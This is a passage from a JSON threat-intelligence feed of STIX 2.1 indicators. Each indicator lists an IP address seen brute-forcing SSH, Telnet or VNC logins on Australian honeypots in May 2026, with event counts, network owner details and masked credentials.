      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 443. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, 1**4, 1****6. Passwords observed (masked): 1****6, 1**4, 1*******9, a***n, *.",
      "id": "indicator--e6fcb651-1f8b-422f-90c5-e7f088883cda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.175.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--1c4ba266-37e6-4e53-b8fe-6711dbbd5e65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.201.125.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--9f088caf-0664-4c21-b557-a7cb50fd5d2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.27.154.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--9f6f7d52-efb7-40b3-adc7-b9b4653fb75a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.12.225.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): a***n, r**t, g***t, 1****1, F***D. Passwords observed (masked): 1***5, a***n, *, 1****1, 6****6.",
      "id": "indicator--b4023911-48f6-40cd-928e-f3d141e8e1e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.165.70.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): r**t. Passwords observed (masked): c*******3.",
      "id": "indicator--1ad3408c-cca4-4a99-9410-722c58299f45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.119.198.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--df8977a8-e6f6-4b19-9196-a4e57adfcd1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.10.217.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--5d84105c-9a57-4216-b640-9e3a396cbb69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.156.65.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 431. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, u**r, ***, s*****t. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--8bcb045e-4d73-47bb-ac03-ee516ca30e28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.2.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--e05bec8f-78dc-4898-b0d9-90b9e5288f8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.118.158.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): c********s.",
      "id": "indicator--b2616eb9-cd0b-4ab4-ac02-2b4ff8326586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.212.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--6c166492-8271-4b04-816d-4587efbc9e3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--2fbcaa40-45bb-4e6d-a409-70814eeab526",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.88.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u. Passwords observed (masked): q******4.",
      "id": "indicator--ab7b639a-60ad-488a-a7af-05d73cb396bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.232.167.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--478b0874-499d-447a-ac19-17f5407f9ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.116.85.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--4cc38787-1e14-467e-b52a-a8c00b88cf46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.78.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network. Usernames observed (masked): n********r. Passwords observed (masked): n********r.",
      "id": "indicator--0c1cf200-0fd3-4350-ae6a-1acdec9248b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.154.131.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--6a86b294-fa80-4b99-b772-1fcef3e6ada9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.22.130.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a4d58e8a-0b5f-4cac-896b-ba3287e2dd33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.8.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0d96850c-abb1-4eeb-9920-37bd249faf68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.240.7.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 5466. Organisation(s): Eir Broadband.",
      "id": "indicator--4aa107cc-1ce5-481b-acca-d2548eade58b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.41.211.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:15:10.000Z",
      "valid_until": "2026-06-12T08:15:08.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328638. Organisation(s): LETABANETWORKS.",
      "id": "indicator--46cfa182-ca96-492c-9622-b92107168d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.221.220.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): u****u. Passwords observed (masked): z*****m.",
      "id": "indicator--cf71f66c-8a57-45d5-bdfb-e481a7c6460f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.200.25.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--ca6d2b01-38db-45d2-8a20-5f54489af2b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.219.123.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 613. Sensors involved: Heralding. Target ports: 5900. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Passwords observed (masked): P******d, 1******r, p******d, 1******8, 1*******d.",
      "id": "indicator--4b8ec293-8d1b-4b26-917c-2011e735d959",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.184.53.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--7d51d047-23ff-48ec-a076-fb7491852efa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.154.79.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--16db9f43-bcb7-47d8-8f00-3b82b8472255",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.64.132.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): **, A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , **, A**********, H**********************3.",
      "id": "indicator--0ee0ba5f-8056-49b8-8670-62cef867d5d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.64.182.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 49273. Organisation(s): COSCOM Liability Limited Company.",
      "id": "indicator--d1e9ac57-a12f-4985-ad67-150dd553919b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.113.209.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): u***1. Passwords observed (masked): u******4.",
      "id": "indicator--16d19770-aba5-4d02-a1c5-66b26bf62b85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.38.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--00b7b6ef-ff65-4c3b-a869-360c5b1548b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.59.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8ca71a13-4b9d-479b-9f3f-b345878943a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.27.150.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 402169. Organisation(s): USCLOUD INC - Uscloud Inc. Usernames observed (masked): r**t, u****u, t**t, u**r, 3**********4. Passwords observed (masked): !****3, ***, 1****3, 1**4, 3***********4.",
      "id": "indicator--492c01ad-5305-4040-8402-e91b55a34181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.12.30.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 273145. Organisation(s): GRUPO SERVINET S.A.S..",
      "id": "indicator--aec11cd9-dc28-438a-a35b-3b1523a62368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.191.81.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267935. Organisation(s): GV telecomunicacoes LTDA - ME.",
      "id": "indicator--4ffc0ea1-5553-4a0a-8983-7d7e0e8bb51b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.166.46.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:15:05.000Z",
      "valid_until": "2026-06-12T09:15:03.000Z"
    },
    {
      "created": "2026-05-11T09:15:05.000Z",
